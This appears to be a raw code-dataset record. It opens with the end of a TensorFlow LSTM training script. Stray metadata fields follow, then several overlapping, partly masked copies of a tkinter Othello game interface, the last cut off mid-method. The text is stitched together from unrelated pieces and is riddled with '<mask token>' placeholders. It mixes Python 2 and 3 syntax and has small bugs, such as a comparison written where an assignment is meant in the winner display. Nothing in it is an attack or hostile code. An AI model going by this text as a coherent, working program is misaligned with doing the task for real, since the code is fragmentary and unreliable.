tf.placeholder(tf.float32, [None, n_steps, n_input]) y = tf.placeholder(tf.float32, [None, n_classes]) z = tf.placeholder(tf.int32, [batch_size]) weights = { # (50, 128) # 'in': tf.Variable(tf.random_normal([n_input, n_hidden])), # Hidden layer weights # (128, 5) 'out': tf.Variable(tf.random_normal([n_hidden, n_classes])) } biases = { # 'in': tf.Variable(tf.constant(0.1, shape=[n_hidden, ])), 'out': tf.Variable(tf.random_normal([n_classes, ])) } def dynamicRNN(x, seqlen, weights, biases): # Prepare data shape to match `rnn` function requirements # Current data input shape: (batch_size, n_steps, n_input) # Required shape: 'n_steps' tensors list of shape (batch_size, n_input) # Unstack to get a list of 'n_steps' tensors of shape (batch_size, n_input) x = tf.unstack(x, sentence_max, 1) # Define a lstm cell with tensorflow lstm_cell = tf.contrib.rnn.BasicLSTMCell(n_hidden) # Get lstm cell output, providing 'sequence_length' will perform dynamic # calculation. outputs, states = tf.contrib.rnn.static_rnn(lstm_cell, x, dtype=tf.float32, sequence_length=seqlen) # When performing dynamic calculation, we must retrieve the last # dynamically computed output, i.e., if a sequence length is 10, we need # to retrieve the 10th output. # However TensorFlow doesn't support advanced indexing yet, so we build # a custom op that for each sample in batch size, get its length and # get the corresponding relevant output. # 'outputs' is a list of output at every timestep, we pack them in a Tensor # and change back dimension to [batch_size, n_step, n_input] outputs = tf.stack(outputs) outputs = tf.transpose(outputs, [1, 0, 2]) # Hack to build the indexing and retrieve the right output. batch_size = tf.shape(outputs)[0] # Start indices for each sample index = tf.range(0, batch_size) * sentence_max + (seqlen - 1) # Indexing outputs = tf.gather(tf.reshape(outputs, [-1, n_hidden]), index) # Linear activation, using outputs computed above return tf.matmul(outputs, weights['out']) + biases['out'] pred = dynamicRNN(x, z, weights, biases) cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=pred, labels=y)) optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost) correct_pred = tf.equal(tf.argmax(pred, 1), tf.argmax(y, 1)) accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32)) t_acc = 0 with tf.Session() as sess: init = tf.global_variables_initializer() sess.run(init) step = 1 while step * batch_size <= training_iters: batch_x, batch_y, batch_length = trainset.next(batch_size) sess.run(optimizer, feed_dict={ x: batch_x, y: batch_y, z: batch_length }) acc = sess.run(accuracy, feed_dict={x: batch_x, y: batch_y, z: batch_length}) t_acc = (acc + t_acc * (step - 1)) / (float(step)) if step % display_step == 0: acc = sess.run(accuracy, feed_dict={x: batch_x, y: batch_y, z: batch_length}) # Calculate batch loss loss = sess.run(cost, feed_dict={x: batch_x, y: batch_y, z: batch_length}) print("Iter " + str(step * batch_size) + ", Minibatch Loss= " + \ "{:.6f}".format(loss) + ", Training Accuracy= " + \ "{:.5f}".format(t_acc) + ",batch Training Accuracy= " + \ "{:.5f}".format(acc)) step += 1 print 'Optimizer Complete'
null
null
null
null
[ 0 ]
9,934
9b8f3962172d4a867a3a070b6139bb302fd7e2f5
<mask token> class Pregame(tk.Frame): <mask token> <mask token> def __GUI_Reset__(self): for widget in self.winfo_children(): widget.destroy() tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack( side='top') Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10 ) rule_set_frame = tk.Frame(self, bg='white') rule_set_frame.pack(pady=10) self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font= FONTS['medium'], bg='white') self.rs_label.pack(side='top') self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[ 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set( 'full')) self.full_btn.pack() self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font= FONTS['medium'], bg='#bbbbbb', command=lambda : self. Select_Rule_Set('simple')) self.simple_btn.pack() row_frame = tk.Frame(self, bg='white') row_frame.pack(pady=10) self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[ 'medium'], bg='white') self.row_label.grid(row=0, column=0, columnspan=7) self.Rows_Buttons = [] place = 0 for rows in [4, 6, 8, 10, 12, 14, 16]: x = tk.Button(row_frame, text=str(rows), font=FONTS['small'], bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows)) x.grid(row=1, column=place) self.Rows_Buttons.append(x) place += 1 col_frame = tk.Frame(self, bg='white') col_frame.pack(pady=10) self.col_label = tk.Label(col_frame, text='Board Columns', font= FONTS['medium'], bg='white') self.col_label.grid(row=0, column=0, columnspan=7) self.Cols_Buttons = [] place = 0 for cols in [4, 6, 8, 10, 12, 14, 16]: x = tk.Button(col_frame, text=str(cols), font=FONTS['small'], bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols)) x.grid(row=1, column=place) self.Cols_Buttons.append(x) place += 1 first_move_frame = tk.Frame(self, bg='white') first_move_frame.pack(pady=10) self.first_move_label = tk.Label(first_move_frame, text= 'First to move', bg='white', font=FONTS['medium']) self.first_move_label.grid(row=0, column=0, columnspan=2) self.black_btn = tk.Button(first_move_frame, text='Black', bg= '#bbbbbb', font=FONTS['medium'], command=lambda : self. Select_First_Move('black')) self.black_btn.grid(row=1, column=0) self.white_btn = tk.Button(first_move_frame, text='White', bg= '#bbbbbb', font=FONTS['medium'], command=lambda : self. Select_First_Move('white')) self.white_btn.grid(row=1, column=1) condition_frame = tk.Frame(self, bg='white') condition_frame.pack(pady=10) self.condition_label = tk.Label(condition_frame, text= 'The winner is, the player with..', bg='white', font=FONTS[ 'medium']) self.condition_label.grid(row=0, column=0, columnspan=2) self.greater_score = tk.Button(condition_frame, text='more discs.', bg='#bbbbbb', font=FONTS['medium'], command=lambda : self. Select_Condition('>')) self.greater_score.grid(row=1, column=0) self.lesser_score = tk.Button(condition_frame, text='less discs.', bg='#bbbbbb', font=FONTS['medium'], command=lambda : self. Select_Condition('<')) self.lesser_score.grid(row=1, column=1) self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222', activebackground='#992222', font=FONTS['medium']) self.Start_Game_Btn.pack(side='bottom') def Select_Rule_Set(self, _set: str): if _set == 'simple': self.controller.Handler.GameParams['game_type'] = 1 else: self.controller.Handler.GameParams['game_type'] = 2 self.full_btn.destroy() self.simple_btn.destroy() self.rs_label.configure(text='Rule Set: ' + _set.upper()) self.set_vals.append('rules') self.Check_Can_Start() def Select_Rows(self, rows: int): self.controller.Handler.GameParams['y_size'] = rows for button in self.Rows_Buttons: button.destroy() self.row_label.configure(text='Board Rows: ' + str(rows)) self.set_vals.append('rows') self.Check_Can_Start() <mask token> def Select_First_Move(self, mover: str): if mover == 'black': self.controller.Handler.GameParams['first_move'] = 'B' else: self.controller.Handler.GameParams['first_move'] = 'W' self.black_btn.destroy() self.white_btn.destroy() self.first_move_label.configure(text='First to move: ' + mover) self.set_vals.append('move') self.Check_Can_Start() <mask token> <mask token> <mask token> class Custom_Board(tk.Frame): FrameName = 'Setup_Board' def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg='white') self.Title_Frame = tk.Frame(self, bg='white') self.Title_Frame.pack(side='top', fill='x') tk.Label(self.Title_Frame, text='Create Custom Board', bg='white', font=FONTS['medium']).pack(side='left') start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22', activebackground='#229922', font=FONTS['medium'], command=lambda : self.Start()) start.pack(side='right') self.Use_Board = tk.IntVar() Use_Board = tk.Checkbutton(self.Title_Frame, text= 'Use custom board', font=FONTS['medium'], bg='white', activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0 ) Use_Board.pack(side='right', padx=10) self.Board_Area = tk.Frame(self, bg='#009900') self.Board_Area.pack(side='top', fill='both', expand=True) self.Board = [] def Setup_Board(self): for widget in self.Board_Area.winfo_children(): widget.destroy() self.Board = [] for y in range(self.controller.Handler.GameParams['y_size']): row = [] for x in range(self.controller.Handler.GameParams['x_size']): height = self.Board_Area.winfo_height() width = self.Board_Area.winfo_width() if height > width: diameter = width / self.controller.Handler.GameParams[ 'x_size'] else: diameter = height / self.controller.Handler.GameParams[ 'y_size'] self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) disc = wg.Disc(self.Board_Area, self.controller, diameter= diameter, mode='setup') disc.grid(row=y, column=x, sticky='nsew') row.append(disc) self.Board.append(row) def Parse_Board(self) ->list: new_board = [] for row in self.Board: new_row = [] for disc in row: if disc.Current_Color == 'white': new_row.append('W') elif disc.Current_Color == 'black': new_row.append('B') else: new_row.append(None) new_board.append(new_row) return new_board def Instructions_Display(self): showinfo('How to use', 'Click on a tile to cycle between white, black or empty. Check the "Use Custom Board" box to use this board!' ) def Start(self): if self.Use_Board.get(): self.controller.Handler.GameParams['board'] = self.Parse_Board() self.controller.Begin_Game() self.controller.Pages['Game'].__GUI_init__() self.controller.Pages['Game'].Update_Board() self.controller.showPage('Game') class Game(tk.Frame): FrameName = 'Game' def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg='white') self.Status_Bar = tk.Frame(self, bg='white') self.Status_Bar.pack(side='top', fill='x') self.Status_Bar.grid_columnconfigure(0, weight=1) self.Status_Bar.grid_columnconfigure(1, weight=1) self.Status_Bar.grid_columnconfigure(2, weight=1) self.Status_Bar.grid_rowconfigure(0, weight=1) self.Current_Player = tk.Label(self.Status_Bar, text='None', bg= 'white', font=FONTS['medium']) self.Current_Player.grid(row=0, column=0) self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white', font=FONTS['medium']) self.Game_Type.grid(row=0, column=1) self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White', bg='white', font=FONTS['medium']) self.Score.grid(row=0, column=2) self.Board_Area = tk.Frame(self, bg='#009900') self.Board_Area.pack(side='top', fill='both', expand=True) self.Board = [] def __GUI_init__(self): for y in range(self.controller.Handler.GameParams['y_size']): row = [] for x in range(self.controller.Handler.GameParams['x_size']): height = self.Board_Area.winfo_height() width = self.Board_Area.winfo_width() if height > width: diameter = width / self.controller.Handler.GameParams[ 'x_size'] else: diameter = height / self.controller.Handler.GameParams[ 'y_size'] self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) disc = wg.Disc(self.Board_Area, self.controller, diameter= diameter, command=lambda x=x, y=y: self.Disc_Function(x, y) ) disc.grid(row=y, column=x, sticky='nsew') row.append(disc) self.Board.append(row) self.Update_Board() def Reset_Game(self): self.Board = [] for widget in self.Board_Area.winfo_children(): widget.destroy() def Disc_Function(self, x: int, y: int): if not self.controller.Handler.Move(x + 1, y + 1): self.Invalid_Move() def Invalid_Move(self): showerror('Invalid Move', 'You cannot move there!') def Update_Board(self): for y in range(len(self.Board)): for x in range(len(self.Board[y])): game_piece = self.controller.Handler.Game.Board[y][x] if game_piece == None: pass elif game_piece == 'B': if self.Board[y][x].Current_Color != 'black': self.Board[y][x].Set_Piece_Color('black') elif game_piece == 'W': if self.Board[y][x].Current_Color != 'white': self.Board[y][x].Set_Piece_Color('white') def Update_Current_Player(self): self.Current_Player.config(text='Turn: ' + self.controller. Get_Current_Player()) def Update_Game_Type(self): g_type = self.controller.Handler.Get_Game_Type() self.Game_Type.configure(text='Rules: ' + g_type) def Update_Score(self): b, w = self.controller.Handler.Get_Score() self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w)) def Full_Update(self): self.Update_Score() self.Update_Current_Player() self.Update_Board() class Postgame(tk.Frame): FrameName = 'Postgame' def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg='white') self.Title = tk.Label(self, text='Game Over!', bg='white', font= FONTS['large']) self.Title.pack(side='top') Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10 ) self.Winner = tk.Label(self, text='The winner is black-discs.', bg= 'white', font=FONTS['medium']) self.Winner.pack(side='top') self.Buttons = tk.Frame(self, bg='white') self.Buttons.pack() Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font= FONTS['medium'], command=lambda : self.Replay()) Replay.grid(row=0, column=0) Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font= FONTS['medium'], command=lambda : self.Quit()) Quit.grid(row=0, column=1) self.Board_Area = tk.Frame(self, bg='white') self.Board_Area.pack(side='bottom') self.Score = tk.Label(self.Board_Area, text='', bg='white', font= FONTS['medium']) self.Score.pack() self.Board_Display = tk.Frame(self.Board_Area, bg='green') self.Board_Display.pack() self.Board = [] def Replay(self): self.controller.Replay() def Quit(self): self.controller.destroy() exit() def Update_Board(self): for widget in self.Board_Display.winfo_children(): widget.destroy() for y in range(self.controller.Handler.GameParams['y_size']): row = [] for x in range(self.controller.Handler.GameParams['x_size']): self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) col = None place_col = self.controller.Handler.Game.Board[y][x] if place_col == 'B': col = 'black' elif place_col == 'W': col = 'white' disc = wg.Disc(self.Board_Display, self.controller, col=col, diameter=50) disc.grid(row=y, column=x, sticky='nsew') row.append(disc) self.Board.append(row) def Update(self): winner, scores = self.controller.Handler.Get_Winner() if winner.lower() == 'b': winner = 'black-discs' elif winner.lower() == 'w': winner = 'white-discs' else: winner == 'no one' self.Winner.configure(text='The winner is ' + winner) self.Score.configure(text='Black: {0!s} | {1!s}:White'.format( scores[0], scores[1])) self.Update_Board() <mask token>
<mask token> class Pregame(tk.Frame): <mask token> def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg='white') self.set_vals = [] self.__GUI_Reset__() def __GUI_Reset__(self): for widget in self.winfo_children(): widget.destroy() tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack( side='top') Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10 ) rule_set_frame = tk.Frame(self, bg='white') rule_set_frame.pack(pady=10) self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font= FONTS['medium'], bg='white') self.rs_label.pack(side='top') self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[ 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set( 'full')) self.full_btn.pack() self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font= FONTS['medium'], bg='#bbbbbb', command=lambda : self. Select_Rule_Set('simple')) self.simple_btn.pack() row_frame = tk.Frame(self, bg='white') row_frame.pack(pady=10) self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[ 'medium'], bg='white') self.row_label.grid(row=0, column=0, columnspan=7) self.Rows_Buttons = [] place = 0 for rows in [4, 6, 8, 10, 12, 14, 16]: x = tk.Button(row_frame, text=str(rows), font=FONTS['small'], bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows)) x.grid(row=1, column=place) self.Rows_Buttons.append(x) place += 1 col_frame = tk.Frame(self, bg='white') col_frame.pack(pady=10) self.col_label = tk.Label(col_frame, text='Board Columns', font= FONTS['medium'], bg='white') self.col_label.grid(row=0, column=0, columnspan=7) self.Cols_Buttons = [] place = 0 for cols in [4, 6, 8, 10, 12, 14, 16]: x = tk.Button(col_frame, text=str(cols), font=FONTS['small'], bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols)) x.grid(row=1, column=place) self.Cols_Buttons.append(x) place += 1 first_move_frame = tk.Frame(self, bg='white') first_move_frame.pack(pady=10) self.first_move_label = tk.Label(first_move_frame, text= 'First to move', bg='white', font=FONTS['medium']) self.first_move_label.grid(row=0, column=0, columnspan=2) self.black_btn = tk.Button(first_move_frame, text='Black', bg= '#bbbbbb', font=FONTS['medium'], command=lambda : self. Select_First_Move('black')) self.black_btn.grid(row=1, column=0) self.white_btn = tk.Button(first_move_frame, text='White', bg= '#bbbbbb', font=FONTS['medium'], command=lambda : self. Select_First_Move('white')) self.white_btn.grid(row=1, column=1) condition_frame = tk.Frame(self, bg='white') condition_frame.pack(pady=10) self.condition_label = tk.Label(condition_frame, text= 'The winner is, the player with..', bg='white', font=FONTS[ 'medium']) self.condition_label.grid(row=0, column=0, columnspan=2) self.greater_score = tk.Button(condition_frame, text='more discs.', bg='#bbbbbb', font=FONTS['medium'], command=lambda : self. Select_Condition('>')) self.greater_score.grid(row=1, column=0) self.lesser_score = tk.Button(condition_frame, text='less discs.', bg='#bbbbbb', font=FONTS['medium'], command=lambda : self. Select_Condition('<')) self.lesser_score.grid(row=1, column=1) self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222', activebackground='#992222', font=FONTS['medium']) self.Start_Game_Btn.pack(side='bottom') def Select_Rule_Set(self, _set: str): if _set == 'simple': self.controller.Handler.GameParams['game_type'] = 1 else: self.controller.Handler.GameParams['game_type'] = 2 self.full_btn.destroy() self.simple_btn.destroy() self.rs_label.configure(text='Rule Set: ' + _set.upper()) self.set_vals.append('rules') self.Check_Can_Start() def Select_Rows(self, rows: int): self.controller.Handler.GameParams['y_size'] = rows for button in self.Rows_Buttons: button.destroy() self.row_label.configure(text='Board Rows: ' + str(rows)) self.set_vals.append('rows') self.Check_Can_Start() def Select_Cols(self, cols: int): self.controller.Handler.GameParams['x_size'] = cols for button in self.Cols_Buttons: button.destroy() self.col_label.configure(text='Board Columns: ' + str(cols)) self.set_vals.append('cols') self.Check_Can_Start() def Select_First_Move(self, mover: str): if mover == 'black': self.controller.Handler.GameParams['first_move'] = 'B' else: self.controller.Handler.GameParams['first_move'] = 'W' self.black_btn.destroy() self.white_btn.destroy() self.first_move_label.configure(text='First to move: ' + mover) self.set_vals.append('move') self.Check_Can_Start() def Select_Condition(self, condition: str): self.controller.Handler.GameParams['game_winner'] = condition if condition == '>': self.condition_label.configure(text= 'The winner is, the player with more discs.') else: self.condition_label.configure(text= 'The winner is, the player with less discs.') self.lesser_score.destroy() self.greater_score.destroy() self.set_vals.append('win') self.Check_Can_Start() def Check_Can_Start(self): if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in self.set_vals and 'move' in self.set_vals and 'win' in self. set_vals): self.Start_Game_Btn.configure(bg='#22ff22', activebackground= '#229922', command=lambda : self.Start_Custom_Board()) def Start_Custom_Board(self): self.controller.Pages['Setup_Board'].Setup_Board() self.controller.showPage('Setup_Board') self.controller.Pages['Setup_Board'].Instructions_Display() class Custom_Board(tk.Frame): FrameName = 'Setup_Board' def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg='white') self.Title_Frame = tk.Frame(self, bg='white') self.Title_Frame.pack(side='top', fill='x') tk.Label(self.Title_Frame, text='Create Custom Board', bg='white', font=FONTS['medium']).pack(side='left') start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22', activebackground='#229922', font=FONTS['medium'], command=lambda : self.Start()) start.pack(side='right') self.Use_Board = tk.IntVar() Use_Board = tk.Checkbutton(self.Title_Frame, text= 'Use custom board', font=FONTS['medium'], bg='white', activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0 ) Use_Board.pack(side='right', padx=10) self.Board_Area = tk.Frame(self, bg='#009900') self.Board_Area.pack(side='top', fill='both', expand=True) self.Board = [] def Setup_Board(self): for widget in self.Board_Area.winfo_children(): widget.destroy() self.Board = [] for y in range(self.controller.Handler.GameParams['y_size']): row = [] for x in range(self.controller.Handler.GameParams['x_size']): height = self.Board_Area.winfo_height() width = self.Board_Area.winfo_width() if height > width: diameter = width / self.controller.Handler.GameParams[ 'x_size'] else: diameter = height / self.controller.Handler.GameParams[ 'y_size'] self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) disc = wg.Disc(self.Board_Area, self.controller, diameter= diameter, mode='setup') disc.grid(row=y, column=x, sticky='nsew') row.append(disc) self.Board.append(row) def Parse_Board(self) ->list: new_board = [] for row in self.Board: new_row = [] for disc in row: if disc.Current_Color == 'white': new_row.append('W') elif disc.Current_Color == 'black': new_row.append('B') else: new_row.append(None) new_board.append(new_row) return new_board def Instructions_Display(self): showinfo('How to use', 'Click on a tile to cycle between white, black or empty. Check the "Use Custom Board" box to use this board!' ) def Start(self): if self.Use_Board.get(): self.controller.Handler.GameParams['board'] = self.Parse_Board() self.controller.Begin_Game() self.controller.Pages['Game'].__GUI_init__() self.controller.Pages['Game'].Update_Board() self.controller.showPage('Game') class Game(tk.Frame): FrameName = 'Game' def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg='white') self.Status_Bar = tk.Frame(self, bg='white') self.Status_Bar.pack(side='top', fill='x') self.Status_Bar.grid_columnconfigure(0, weight=1) self.Status_Bar.grid_columnconfigure(1, weight=1) self.Status_Bar.grid_columnconfigure(2, weight=1) self.Status_Bar.grid_rowconfigure(0, weight=1) self.Current_Player = tk.Label(self.Status_Bar, text='None', bg= 'white', font=FONTS['medium']) self.Current_Player.grid(row=0, column=0) self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white', font=FONTS['medium']) self.Game_Type.grid(row=0, column=1) self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White', bg='white', font=FONTS['medium']) self.Score.grid(row=0, column=2) self.Board_Area = tk.Frame(self, bg='#009900') self.Board_Area.pack(side='top', fill='both', expand=True) self.Board = [] def __GUI_init__(self): for y in range(self.controller.Handler.GameParams['y_size']): row = [] for x in range(self.controller.Handler.GameParams['x_size']): height = self.Board_Area.winfo_height() width = self.Board_Area.winfo_width() if height > width: diameter = width / self.controller.Handler.GameParams[ 'x_size'] else: diameter = height / self.controller.Handler.GameParams[ 'y_size'] self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) disc = wg.Disc(self.Board_Area, self.controller, diameter= diameter, command=lambda x=x, y=y: self.Disc_Function(x, y) ) disc.grid(row=y, column=x, sticky='nsew') row.append(disc) self.Board.append(row) self.Update_Board() def Reset_Game(self): self.Board = [] for widget in self.Board_Area.winfo_children(): widget.destroy() def Disc_Function(self, x: int, y: int): if not self.controller.Handler.Move(x + 1, y + 1): self.Invalid_Move() def Invalid_Move(self): showerror('Invalid Move', 'You cannot move there!') def Update_Board(self): for y in range(len(self.Board)): for x in range(len(self.Board[y])): game_piece = self.controller.Handler.Game.Board[y][x] if game_piece == None: pass elif game_piece == 'B': if self.Board[y][x].Current_Color != 'black': self.Board[y][x].Set_Piece_Color('black') elif game_piece == 'W': if self.Board[y][x].Current_Color != 'white': self.Board[y][x].Set_Piece_Color('white') def Update_Current_Player(self): self.Current_Player.config(text='Turn: ' + self.controller. Get_Current_Player()) def Update_Game_Type(self): g_type = self.controller.Handler.Get_Game_Type() self.Game_Type.configure(text='Rules: ' + g_type) def Update_Score(self): b, w = self.controller.Handler.Get_Score() self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w)) def Full_Update(self): self.Update_Score() self.Update_Current_Player() self.Update_Board() class Postgame(tk.Frame): FrameName = 'Postgame' def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg='white') self.Title = tk.Label(self, text='Game Over!', bg='white', font= FONTS['large']) self.Title.pack(side='top') Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10 ) self.Winner = tk.Label(self, text='The winner is black-discs.', bg= 'white', font=FONTS['medium']) self.Winner.pack(side='top') self.Buttons = tk.Frame(self, bg='white') self.Buttons.pack() Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font= FONTS['medium'], command=lambda : self.Replay()) Replay.grid(row=0, column=0) Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font= FONTS['medium'], command=lambda : self.Quit()) Quit.grid(row=0, column=1) self.Board_Area = tk.Frame(self, bg='white') self.Board_Area.pack(side='bottom') self.Score = tk.Label(self.Board_Area, text='', bg='white', font= FONTS['medium']) self.Score.pack() self.Board_Display = tk.Frame(self.Board_Area, bg='green') self.Board_Display.pack() self.Board = [] def Replay(self): self.controller.Replay() def Quit(self): self.controller.destroy() exit() def Update_Board(self): for widget in self.Board_Display.winfo_children(): widget.destroy() for y in range(self.controller.Handler.GameParams['y_size']): row = [] for x in range(self.controller.Handler.GameParams['x_size']): self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) col = None place_col = self.controller.Handler.Game.Board[y][x] if place_col == 'B': col = 'black' elif place_col == 'W': col = 'white' disc = wg.Disc(self.Board_Display, self.controller, col=col, diameter=50) disc.grid(row=y, column=x, sticky='nsew') row.append(disc) self.Board.append(row) def Update(self): winner, scores = self.controller.Handler.Get_Winner() if winner.lower() == 'b': winner = 'black-discs' elif winner.lower() == 'w': winner = 'white-discs' else: winner == 'no one' self.Winner.configure(text='The winner is ' + winner) self.Score.configure(text='Black: {0!s} | {1!s}:White'.format( scores[0], scores[1])) self.Update_Board() <mask token>
<mask token> class Handler: <mask token> <mask token> <mask token> <mask token> <mask token> <mask token> <mask token> <mask token> def Get_Winner(self) ->tuple: return self.Game.Check_Winner() <mask token> <mask token> class Window(tk.Tk): def __init__(self, controller, *args, **kwargs): tk.Tk.__init__(self, *args, **kwargs) self.Handler = controller self.title('Othello') try: self.iconbitmap('Icon.ico') except: pass self.minsize(600, 600) self.container = tk.Frame(self) self.container.pack(side='top', fill='both', expand=True) self.container.grid_rowconfigure(0, weight=1) self.container.grid_columnconfigure(0, weight=1) self.Pages = {} for page in (Pregame, Custom_Board, Game, Postgame): new = page(self.container, self) self.Pages[page.FrameName] = new new.grid(row=0, column=0, sticky='nsew') self.showPage('Pregame') def showPage(self, pagename: str): page = self.Pages[pagename] page.tkraise() def Begin_Game(self): self.Handler.Start_Game() def Get_Current_Player(self) ->str: return self.Handler.Get_Current_Player() def Replay(self): self.Pages['Pregame'].__GUI_Reset__() self.Pages['Game'].Reset_Game() self.Handler.Replay() self.showPage('Pregame') class Pregame(tk.Frame): FrameName = 'Pregame' def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg='white') self.set_vals = [] self.__GUI_Reset__() def __GUI_Reset__(self): for widget in self.winfo_children(): widget.destroy() tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack( side='top') Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10 ) rule_set_frame = tk.Frame(self, bg='white') rule_set_frame.pack(pady=10) self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font= FONTS['medium'], bg='white') self.rs_label.pack(side='top') self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[ 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set( 'full')) self.full_btn.pack() self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font= FONTS['medium'], bg='#bbbbbb', command=lambda : self. Select_Rule_Set('simple')) self.simple_btn.pack() row_frame = tk.Frame(self, bg='white') row_frame.pack(pady=10) self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[ 'medium'], bg='white') self.row_label.grid(row=0, column=0, columnspan=7) self.Rows_Buttons = [] place = 0 for rows in [4, 6, 8, 10, 12, 14, 16]: x = tk.Button(row_frame, text=str(rows), font=FONTS['small'], bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows)) x.grid(row=1, column=place) self.Rows_Buttons.append(x) place += 1 col_frame = tk.Frame(self, bg='white') col_frame.pack(pady=10) self.col_label = tk.Label(col_frame, text='Board Columns', font= FONTS['medium'], bg='white') self.col_label.grid(row=0, column=0, columnspan=7) self.Cols_Buttons = [] place = 0 for cols in [4, 6, 8, 10, 12, 14, 16]: x = tk.Button(col_frame, text=str(cols), font=FONTS['small'], bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols)) x.grid(row=1, column=place) self.Cols_Buttons.append(x) place += 1 first_move_frame = tk.Frame(self, bg='white') first_move_frame.pack(pady=10) self.first_move_label = tk.Label(first_move_frame, text= 'First to move', bg='white', font=FONTS['medium']) self.first_move_label.grid(row=0, column=0, columnspan=2) self.black_btn = tk.Button(first_move_frame, text='Black', bg= '#bbbbbb', font=FONTS['medium'], command=lambda : self. Select_First_Move('black')) self.black_btn.grid(row=1, column=0) self.white_btn = tk.Button(first_move_frame, text='White', bg= '#bbbbbb', font=FONTS['medium'], command=lambda : self. Select_First_Move('white')) self.white_btn.grid(row=1, column=1) condition_frame = tk.Frame(self, bg='white') condition_frame.pack(pady=10) self.condition_label = tk.Label(condition_frame, text= 'The winner is, the player with..', bg='white', font=FONTS[ 'medium']) self.condition_label.grid(row=0, column=0, columnspan=2) self.greater_score = tk.Button(condition_frame, text='more discs.', bg='#bbbbbb', font=FONTS['medium'], command=lambda : self. Select_Condition('>')) self.greater_score.grid(row=1, column=0) self.lesser_score = tk.Button(condition_frame, text='less discs.', bg='#bbbbbb', font=FONTS['medium'], command=lambda : self. Select_Condition('<')) self.lesser_score.grid(row=1, column=1) self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222', activebackground='#992222', font=FONTS['medium']) self.Start_Game_Btn.pack(side='bottom') def Select_Rule_Set(self, _set: str): if _set == 'simple': self.controller.Handler.GameParams['game_type'] = 1 else: self.controller.Handler.GameParams['game_type'] = 2 self.full_btn.destroy() self.simple_btn.destroy() self.rs_label.configure(text='Rule Set: ' + _set.upper()) self.set_vals.append('rules') self.Check_Can_Start() def Select_Rows(self, rows: int): self.controller.Handler.GameParams['y_size'] = rows for button in self.Rows_Buttons: button.destroy() self.row_label.configure(text='Board Rows: ' + str(rows)) self.set_vals.append('rows') self.Check_Can_Start() def Select_Cols(self, cols: int): self.controller.Handler.GameParams['x_size'] = cols for button in self.Cols_Buttons: button.destroy() self.col_label.configure(text='Board Columns: ' + str(cols)) self.set_vals.append('cols') self.Check_Can_Start() def Select_First_Move(self, mover: str): if mover == 'black': self.controller.Handler.GameParams['first_move'] = 'B' else: self.controller.Handler.GameParams['first_move'] = 'W' self.black_btn.destroy() self.white_btn.destroy() self.first_move_label.configure(text='First to move: ' + mover) self.set_vals.append('move') self.Check_Can_Start() def Select_Condition(self, condition: str): 